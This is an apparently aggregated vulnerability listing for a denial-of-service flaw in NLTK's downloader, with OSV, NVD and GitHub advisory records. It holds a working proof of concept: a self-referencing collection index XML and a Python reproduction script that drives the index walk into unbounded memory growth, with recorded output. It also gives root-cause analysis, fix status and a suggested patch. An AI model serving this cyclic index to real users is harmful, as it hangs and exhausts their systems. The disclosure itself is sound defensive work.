print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, (" (%s)" % detail if detail else "")))
with tempfile.TemporaryDirectory(prefix="nltk_cycle_") as workdir:
cyclic_path = os.path.join(workdir, "index_cyclic.xml")
acyclic_path = os.path.join(workdir, "index_acyclic.xml")
with open(cyclic_path, "w") as fh:
fh.write(CYCLIC_INDEX)
with open(acyclic_path, "w") as fh:
fh.write(ACYCLIC_INDEX)
cyclic_url = "file://" + cyclic_path
acyclic_url = "file://" + acyclic_path
# --- Input modeling preconditions -------------------------------
cyc = ElementTree.parse(cyclic_path).getroot()
col = cyc.find("collections/collection")
check(
"precondition: cyclic index has a self-referencing <collection>",
col is not None and col.get("id") == "a"
and any((it.get("ref") == "a" for it in col.findall("item"))),
"ref='a' inside <collection id='a'>",
)
acy = ElementTree.parse(acyclic_path).getroot()
cola = acy.find("collections/collection")
check(
"precondition: acyclic control index references only packages",
cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"],
)
env, site = build_site_env(workdir)
if env is None:
print("FAIL: nltk is not importable and NLTK_WHEEL is unset", file=sys.stderr)
return 1
child_env = dict(env)
child_env["NLTK_CHILD_MEMCAP_MIB"] = str(MEMCAP_MIB)
# --- Control: acyclic index completes under the same memory cap ---
t, rc, out, err, el = run_child(child_env, __file__, "control", acyclic_url, workdir)
print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
check(
"control: acyclic index completes and yields the documented finite closure",
(not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err),
"rc=%s" % rc,
)
# --- Attack: cyclic index must NOT complete ----------------------
t, rc, out, err, el = run_child(child_env, __file__, "attack", cyclic_url, workdir)
print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
if t:
check(
"attack: self-referencing index hangs _update_index past the %ss timeout" % CHILD_TIMEOUT,
True,
"process still running, queue growing unboundedly",
)
elif rc is not None and rc != 0:
memory = "MemoryError" in (out + err) or "MemoryError" in err
check(
"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAP_MIB,
memory,
"rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"),
)
else:
check(
"attack: self-referencing index hangs _update_index (vulnerability reproduced)",
False,
"function returned -- cyclic input was handled",
)
# --- Version banner ---------------------------------------------
ver_out = subprocess.run(
[sys.executable, "-c", "import nltk; print(nltk.__version__)"],
env=env,
capture_output=True,
text=True,
).stdout.strip()
print("nltk under test: %s" % (ver_out or "unknown"))
passed = sum(results)
failed = len(results) - passed
print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed))
return 0 if failed == 0 else 1
if __name__ == "__main__":
if len(sys.argv) >= 2 and sys.argv[1] == "--child":
os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])
sys.exit(main())
Fix status (2026-09-28)
Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).
PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).
Probe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).
Release: none yet; no release tag contains b77d329db.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "nltk",
"resource_purl": "pkg:pypi/nltk@3.10.4",
"upstream_fixed_in": "3.10.4"
},
"package": {
"ecosystem": "Homebrew",
"name": "safety",
"purl": "pkg:brew/safety"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.1"
},
{
"fixed": "3.8.1_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/nltk@3.10.4",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.4"
}
]
},
"details": "\u003e **affected**: PyPI `nltk` `\u003e= 3.6.7` \u2014 `nltk.downloader` index parsing (`Downloader._update_index`)\n\u003e **dynamically reproduced**: `nltk` `3.6.7` (4/4 checks), `3.9.2` (4/4), `3.10.3` (4/4), and `develop` `6818767b9` (4/4)\n\n---\n\n_Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`)._\n\n### Summary\n\n`Downloader._update_index` (`nltk/downloader.py:1253-1313`) is the mandatory first step of every downloader operation (`download()`, `info()`, `packages()`, `collections()`, `list()`, `status()`). After replacing each `\u003citem ref=\"\u2026\"\u003e` string with the actual `Collection`/`Package` object (`downloader.py:1285-1290`), it computes each collection\u0027s recursive package closure with a breadth-first walk that has **no visited set and no depth cap**:\n\n```python\n# nltk/downloader.py:1300-1310\nfor collection in self._collections.values():\n packages = {}\n queue = [collection]\n for child in queue:\n if isinstance(child, Collection):\n queue.extend(child.children)\n elif isinstance(child, Package):\n packages[child.id] = child\n collection.packages = packages.values()\n```\n\n**A self-referencing or mutually-referencing index \u2014 e.g. `\u003ccollection id=\"a\"\u003e\u003citem ref=\"a\"/\u003e\u003c/collection\u003e` \u2014 turns `a.children` into an object-level cycle, and the `for child in queue: queue.extend(child.children)` loop appends to the very list it is iterating, so the queue grows forever.** The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size \u2014 only its self-reference is abnormal, and nothing validates it.\n\n### Details\n\nRoot cause is the combination of three unguarded steps:\n\n1. `Collection.fromxml` (`nltk/downloader.py:362-369`) stores each `\u003citem ref=\"\u2026\"\u003e` attribute verbatim as a string. It never checks whether a ref targets the collection\u0027s own id, or participates in a reference cycle.\n2. `_update_index` (`nltk/downloader.py:1285-1290`) replaces those ref strings with the live objects from `self._collections` / `self._packages`. A self- or mutual-reference therefore becomes an object-level cycle in `children`.\n3. The closure walk (`nltk/downloader.py:1300-1310`) iterates `for child in queue` while doing `queue.extend(child.children)` inside the loop. Python\u0027s list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no `visited` set, no node-count cap, and no cycle detection.\n\nThe input is the data-server index that the downloader is designed to fetch and trust: `_update_index` pulls it with `safe_parse(urlopen(self._url))` (`nltk/downloader.py:1269-1271`) and parses `\u003ccollections\u003e/\u003ccollection\u003e` elements with no structural validation. The index URL is a user-configurable product feature (`server_index_url` constructor argument, CLI `-u` / `--url` at `downloader.py:3052-3058` \u2014 the option\u0027s `dest` is `server_index_url` \u2014 plus `NLTK_DOWNLOAD_URL` and the Shell/GUI \"Set Server URL\"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.\n\n### PoC\n\nThe self-checking reproduction script embedded below runs the attack against a `file://`-hosted index (no network server needed; the hardened `nltk.pathsec.urlopen` accepts local `file://` URLs) and a matching acyclic control index, in **separate child processes under an address-space cap (`RLIMIT_AS`)**. That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process \u2014 the same function, the same caller, the same finite 2-entry index \u2014 cannot finish and is aborted by `MemoryError` at `queue.extend(child.children)`, proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.\n\n**Scope note**: dynamically verified on the released `3.6.7`, `3.9.2`, and `3.10.3` wheels and on `develop` `6818767b9`. `3.6.0`\u2013`3.6.6` share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates `3.6` and earlier releases were not assessed.\n\nEnvironment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.\n\nLive transcript (recorded run on the `nltk` `3.10.3` wheel; the `3.6.7`, `3.9.2`, and `develop` `6818767b9` runs produce the same 4/4 result, differing only in the `downloader.py` line number in the traceback \u2014 `987`, `972`, and `1305` respectively \u2014 and the elapsed time):\n\n```\n[PASS] precondition: cyclic index has a self-referencing \u003ccollection\u003e (ref=\u0027a\u0027 inside \u003ccollection id=\u0027a\u0027\u003e)\n[PASS] precondition: acyclic control index references only packages\n[control] returned rc=0 in 0.2s\n[PASS] control: Downloader.packages() returned (no hang)\n[PASS] control: _packages parsed = [\u0027p1\u0027]\n[PASS] control: collection \u0027a\u0027 closure = [\u0027p1\u0027] (finite, as documented)\n[PASS] control: acyclic index completes and yields the documented finite closure (rc=0)\n[attack] rc=1 after 6.6s\n[attack] entering Downloader.packages() on the self-referencing index ...\nTraceback (most recent call last):\n File \"\u003cstring\u003e\", line 38, in \u003cmodule\u003e\n File \"nltk/downloader.py\", line 627, in packages\n self._update_index()\n File \"nltk/downloader.py\", line 1305, in _update_index\n queue.extend(child.children)\nMemoryError\n[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError)\nnltk under test: 3.10.3\nRESULT 4/4 checks passed, 0 failed\n```\n\nThe malicious index is exactly:\n\n```xml\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Cyclic collection\"\u003e\n \u003citem ref=\"a\"/\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n```\n\n### Impact\n\n- **Type**: CWE-835 / CWE-400 \u2014 denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.\n- **Who is impacted**: any deployment that uses `nltk.downloader` (directly, via `nltk.download()`, or through the Shell/GUI) against an index URL it does not fully control \u2014 third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM\u0027d. Every entry point (`download()`, `info()`, `packages()`, `collections()`, `status()`) funnels through `_update_index` and is blocked.\n- **Attacker requirements**: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.\n- **Effect**: the process is permanently wedged in the closure BFS \u2014 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running `nltk.download()` in a script or service turns a single poisoned index into an unresolvable hang.\n\n**Suggested fix**: add a `visited` set to the closure BFS so each `Collection` is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:\n\n```python\nfor collection in self._collections.values():\n packages = {}\n queue = [collection]\n seen = set()\n for child in queue:\n if isinstance(child, Collection):\n if child.id in seen:\n continue\n seen.add(child.id)\n queue.extend(child.children)\n elif isinstance(child, Package):\n packages[child.id] = child\n collection.packages = packages.values()\n```\n\nDefense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic `ref` chains in `Collection.fromxml` / during the ref-replacement at `downloader.py:1285-1290`) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts `packages()`/`info()` terminate and either skip or reject the cycle.\n\n---\n\n### Reproduction script (self-contained)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-checking reproduction: a cyclic collection index makes\n``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.\n\nAttack: an index XML whose ``\u003ccollection\u003e`` references itself (or a mutual\ncycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``\nstrings with real ``Collection`` objects. The package-closure walk\n(``for child in queue: ... queue.extend(child.children)``) has no visited set\nand no depth cap, so the queue grows forever and the function never returns.\n\nControls:\n * an acyclic index of the same shape completes and yields the expected\n closure (the same function, the same caller, under the same memory cap);\n * the attack never returns normally: it either keeps running past a hard\n timeout (observed hang) or is aborted by the child\u0027s address-space cap\n (unbounded memory growth) -- in both cases the exact finite input that the\n control handles instantly cannot be completed.\n\nUsage:\n python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]\n\nEnvironment:\n NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is\n installed into a scratch dir and put on PYTHONPATH for the\n verification children.\n NLTK_TIMEOUT hard timeout seconds for each child (default: 60).\n MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be\n passed as the first positional argument.\n\"\"\"\n\nimport os\nimport resource\nimport subprocess\nimport sys\nimport tempfile\nimport textwrap\nimport time\nfrom xml.etree import ElementTree\n\ndef _default_memcap():\n if len(sys.argv) \u003e 1 and sys.argv[1] != \"--child\":\n raw = sys.argv[1]\n else:\n raw = os.environ.get(\"MEMCAP_MIB\", \"512\")\n try:\n value = int(raw)\n except (TypeError, ValueError):\n print(\"warning: invalid MEMCAP_MIB %r, falling back to 512\" % raw, file=sys.stderr)\n return \"512\"\n return str(value) if value \u003e 0 else \"512\"\n\n\nMEMCAP_MIB = int(_default_memcap())\nCHILD_TIMEOUT = float(os.environ.get(\"NLTK_TIMEOUT\", \"60\"))\n\nCYCLIC_INDEX = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Cyclic collection\"\u003e\n \u003citem ref=\"a\"/\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n\"\"\"\n\nACYCLIC_INDEX = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Acyclic collection\"\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n\"\"\"\n\nCHILD_DRIVER = r\"\"\"\nimport os\nimport resource\nimport sys\n\nimport nltk\nimport nltk.data as nltk_data\n\nmode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]\n\n# Allow the local index file to be read under hardened pathsec (ENFORCE mode).\nnltk_data.path.append(workdir)\n\ncap = int(os.environ[\"NLTK_CHILD_MEMCAP_MIB\"]) * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (cap, cap))\n\nfrom nltk.downloader import Downloader\n\ndownloader = Downloader(server_index_url=url)\n\nif mode == \"control\":\n # _update_index() runs to completion here; the acyclic closure is finite.\n packages = list(downloader.packages())\n ids = sorted(p.id for p in packages)\n print(\"[PASS] control: Downloader.packages() returned (no hang)\")\n assert ids == [\"p1\"], ids\n print(\"[PASS] control: _packages parsed = %r\" % ids)\n col = next(c for c in downloader.collections() if c.id == \"a\")\n closure = sorted(p.id for p in col.packages)\n assert closure == [\"p1\"], closure\n print(\"[PASS] control: collection \u0027a\u0027 closure = %r (finite, as documented)\" % closure)\n sys.exit(0)\nelif mode == \"attack\":\n # This call drives _update_index -\u003e the collection-closure BFS. The index\n # collection self-references itself, so the BFS never terminates; the queue\n # keeps growing until the address-space cap aborts the process.\n print(\"[attack] entering Downloader.packages() on the self-referencing index ...\")\n _ = downloader.packages()\n print(\"[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered\")\n sys.exit(2)\nelse:\n print(\"[FAIL] unknown mode %r\" % mode)\n sys.exit(2)\n\"\"\"\n\n\ndef build_site_env(workdir):\n \"\"\"Return (env, site_path_or_None) so the children can import nltk.\"\"\"\n probe = subprocess.run(\n [sys.executable, \"-c\", \"import nltk\"],\n capture_output=True,\n )\n if probe.returncode == 0:\n return dict(os.environ), None\n wheel = os.environ.get(\"NLTK_WHEEL\")\n if not wheel:\n return None, None\n site = os.path.join(workdir, \"site\")\n subprocess.run(\n [sys.executable, \"-m\", \"pip\", \"install\", \"--quiet\", \"--target\", site, wheel],\n check=True,\n )\n env = dict(os.environ)\n env[\"PYTHONPATH\"] = site + (os.pathsep + env[\"PYTHONPATH\"] if env.get(\"PYTHONPATH\") else \"\")\n return env, site\n\n\ndef run_child(env, script, mode, url, workdir):\n cmd = [sys.executable, script, \"--child\", mode, url, workdir]\n start = time.monotonic()\n try:\n proc = subprocess.run(\n cmd,\n env=env,\n capture_output=True,\n text=True,\n timeout=CHILD_TIMEOUT,\n )\n timed_out = False\n except subprocess.TimeoutExpired as exc:\n proc = exc\n timed_out = True\n elapsed = time.monotonic() - start\n stdout = proc.stdout if hasattr(proc, \"stdout\") else \"\"\n stderr = proc.stderr if hasattr(proc, \"stderr\") else \"\"\n return timed_out, getattr(proc, \"returncode\", None), stdout, stderr, elapsed\n\n\ndef main():\n results = []\n\n def check(name, cond, detail=\"\"):\n results.append(bool(cond))\n print(\"[%s] %s%s\" % (\"PASS\" if cond else \"FAIL\", name, (\" (%s)\" % detail if detail else \"\")))\n\n with tempfile.TemporaryDirectory(prefix=\"nltk_cycle_\") as workdir:\n cyclic_path = os.path.join(workdir, \"index_cyclic.xml\")\n acyclic_path = os.path.join(workdir, \"index_acyclic.xml\")\n with open(cyclic_path, \"w\") as fh:\n fh.write(CYCLIC_INDEX)\n with open(acyclic_path, \"w\") as fh:\n fh.write(ACYCLIC_INDEX)\n cyclic_url = \"file://\" + cyclic_path\n acyclic_url = \"file://\" + acyclic_path\n\n # --- Input modeling preconditions -------------------------------\n cyc = ElementTree.parse(cyclic_path).getroot()\n col = cyc.find(\"collections/collection\")\n check(\n \"precondition: cyclic index has a self-referencing \u003ccollection\u003e\",\n col is not None and col.get(\"id\") == \"a\"\n and any((it.get(\"ref\") == \"a\" for it in col.findall(\"item\"))),\n \"ref=\u0027a\u0027 inside \u003ccollection id=\u0027a\u0027\u003e\",\n )\n acy = ElementTree.parse(acyclic_path).getroot()\n cola = acy.find(\"collections/collection\")\n check(\n \"precondition: acyclic control index references only packages\",\n cola is not None and [it.get(\"ref\") for it in cola.findall(\"item\")] == [\"p1\"],\n )\n\n env, site = build_site_env(workdir)\n if env is None:\n print(\"FAIL: nltk is not importable and NLTK_WHEEL is unset\", file=sys.stderr)\n return 1\n child_env = dict(env)\n child_env[\"NLTK_CHILD_MEMCAP_MIB\"] = str(MEMCAP_MIB)\n\n # --- Control: acyclic index completes under the same memory cap ---\n t, rc, out, err, el = run_child(child_env, __file__, \"control\", acyclic_url, workdir)\n print(\"[control] returned rc=%s in %.1fs%s\" % (rc, el, \" (TIMEOUT)\" if t else \"\"))\n if out:\n print(out, end=\"\")\n if err:\n print(err, end=\"\")\n check(\n \"control: acyclic index completes and yields the documented finite closure\",\n (not t) and rc == 0 and \"collection \u0027a\u0027 closure = [\u0027p1\u0027]\" in (out + err),\n \"rc=%s\" % rc,\n )\n\n # --- Attack: cyclic index must NOT complete ----------------------\n t, rc, out, err, el = run_child(child_env, __file__, \"attack\", cyclic_url, workdir)\n print(\"[attack] rc=%s after %.1fs%s\" % (rc, el, \" (still running at timeout)\" if t else \"\"))\n if out:\n print(out, end=\"\")\n if err:\n print(err, end=\"\")\n if t:\n check(\n \"attack: self-referencing index hangs _update_index past the %ss timeout\" % CHILD_TIMEOUT,\n True,\n \"process still running, queue growing unboundedly\",\n )\n elif rc is not None and rc != 0:\n memory = \"MemoryError\" in (out + err) or \"MemoryError\" in err\n check(\n \"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)\" % MEMCAP_MIB,\n memory,\n \"rc=%s, %s\" % (rc, \"MemoryError\" if memory else \"non-zero exit\"),\n )\n else:\n check(\n \"attack: self-referencing index hangs _update_index (vulnerability reproduced)\",\n False,\n \"function returned -- cyclic input was handled\",\n )\n\n # --- Version banner ---------------------------------------------\n ver_out = subprocess.run(\n [sys.executable, \"-c\", \"import nltk; print(nltk.__version__)\"],\n env=env,\n capture_output=True,\n text=True,\n ).stdout.strip()\n print(\"nltk under test: %s\" % (ver_out or \"unknown\"))\n\n passed = sum(results)\n failed = len(results) - passed\n print(\"RESULT %d/%d checks passed, %d failed\" % (passed, len(results), failed))\n return 0 if failed == 0 else 1\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) \u003e= 2 and sys.argv[1] == \"--child\":\n os.execv(sys.executable, [sys.executable, \"-c\", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])\n sys.exit(main())\n```\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3767 \"Prevent infinite loop from cyclic collection indices\" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).\n\nProbe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).\n\nRelease: none yet; no release tag contains b77d329db.",
"id": "BREW-safety-CVE-2026-128140",
"modified": "2026-11-21T09:08:38Z",
"published": "2026-11-21T09:08:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-128140"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3767"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "NLTK: Downloader cyclic collection indices cause an infinite closure walk",
"upstream": [
"GHSA-pcm8-fqjx-rvx8",
"CVE-2026-128140"
]
}
FKIE_CVE-2026-128140
Vulnerability from fkie_nvd - Published: 2026-11-19 18:18 - Updated: 2026-11-19 19:17| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "nltk",
"vendor": "nltk",
"versions": [
{
"status": "affected",
"version": "\u003e= 3.6.7, \u003c 3.10.4"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. From 3.6.7 until 3.10.4, nltk.downloader follows collection membership without tracking already visited collection nodes. A self-referencing or mutually referencing collection index can therefore make the package-closure walk loop indefinitely while its queue and memory usage grow, denying service when a victim processes the attacker-influenced index. This issue is fixed in version 3.10.4."
}
],
"id": "CVE-2026-128140",
"lastModified": "2026-11-19T19:17:21.153",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-128140",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-11-19T19:08:12.154341Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-11-19T18:18:06.453",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/nltk/nltk/pull/3767"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Awaiting Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-835"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-PCM8-FQJX-RVX8
Vulnerability from github – Published: 2026-11-19 23:54 – Updated: 2026-11-19 23:54affected: PyPI
nltk>= 3.6.7—nltk.downloaderindex parsing (Downloader._update_index) dynamically reproduced:nltk3.6.7(4/4 checks),3.9.2(4/4),3.10.3(4/4), anddevelop6818767b9(4/4)
Source references (nltk/downloader.py:NNN) are to commit 6818767b9 (develop, v3.10.3-15-g6818767b9). The v3.10.3 tag and the released 3.10.3 wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at downloader.py:1300-1310). Dynamically verified wheels additionally show the same defect at downloader.py:972 (3.9.2) and downloader.py:987 (3.6.7).
Summary
Downloader._update_index (nltk/downloader.py:1253-1313) is the mandatory first step of every downloader operation (download(), info(), packages(), collections(), list(), status()). After replacing each <item ref="…"> string with the actual Collection/Package object (downloader.py:1285-1290), it computes each collection's recursive package closure with a breadth-first walk that has no visited set and no depth cap:
# nltk/downloader.py:1300-1310
for collection in self._collections.values():
packages = {}
queue = [collection]
for child in queue:
if isinstance(child, Collection):
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()
A self-referencing or mutually-referencing index — e.g. <collection id="a"><item ref="a"/></collection> — turns a.children into an object-level cycle, and the for child in queue: queue.extend(child.children) loop appends to the very list it is iterating, so the queue grows forever. The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.
Details
Root cause is the combination of three unguarded steps:
Collection.fromxml(nltk/downloader.py:362-369) stores each<item ref="…">attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle._update_index(nltk/downloader.py:1285-1290) replaces those ref strings with the live objects fromself._collections/self._packages. A self- or mutual-reference therefore becomes an object-level cycle inchildren.- The closure walk (
nltk/downloader.py:1300-1310) iteratesfor child in queuewhile doingqueue.extend(child.children)inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is novisitedset, no node-count cap, and no cycle detection.
The input is the data-server index that the downloader is designed to fetch and trust: _update_index pulls it with safe_parse(urlopen(self._url)) (nltk/downloader.py:1269-1271) and parses <collections>/<collection> elements with no structural validation. The index URL is a user-configurable product feature (server_index_url constructor argument, CLI -u / --url at downloader.py:3052-3058 — the option's dest is server_index_url — plus NLTK_DOWNLOAD_URL and the Shell/GUI "Set Server URL"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.
PoC
The self-checking reproduction script embedded below runs the attack against a file://-hosted index (no network server needed; the hardened nltk.pathsec.urlopen accepts local file:// URLs) and a matching acyclic control index, in separate child processes under an address-space cap (RLIMIT_AS). That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by MemoryError at queue.extend(child.children), proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.
Scope note: dynamically verified on the released 3.6.7, 3.9.2, and 3.10.3 wheels and on develop 6818767b9. 3.6.0–3.6.6 share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates 3.6 and earlier releases were not assessed.
Environment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.
Live transcript (recorded run on the nltk 3.10.3 wheel; the 3.6.7, 3.9.2, and develop 6818767b9 runs produce the same 4/4 result, differing only in the downloader.py line number in the traceback — 987, 972, and 1305 respectively — and the elapsed time):
[PASS] precondition: cyclic index has a self-referencing <collection> (ref='a' inside <collection id='a'>)
[PASS] precondition: acyclic control index references only packages
[control] returned rc=0 in 0.2s
[PASS] control: Downloader.packages() returned (no hang)
[PASS] control: _packages parsed = ['p1']
[PASS] control: collection 'a' closure = ['p1'] (finite, as documented)
[PASS] control: acyclic index completes and yields the documented finite closure (rc=0)
[attack] rc=1 after 6.6s
[attack] entering Downloader.packages() on the self-referencing index ...
Traceback (most recent call last):
File "<string>", line 38, in <module>
File "nltk/downloader.py", line 627, in packages
self._update_index()
File "nltk/downloader.py", line 1305, in _update_index
queue.extend(child.children)
MemoryError
[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError)
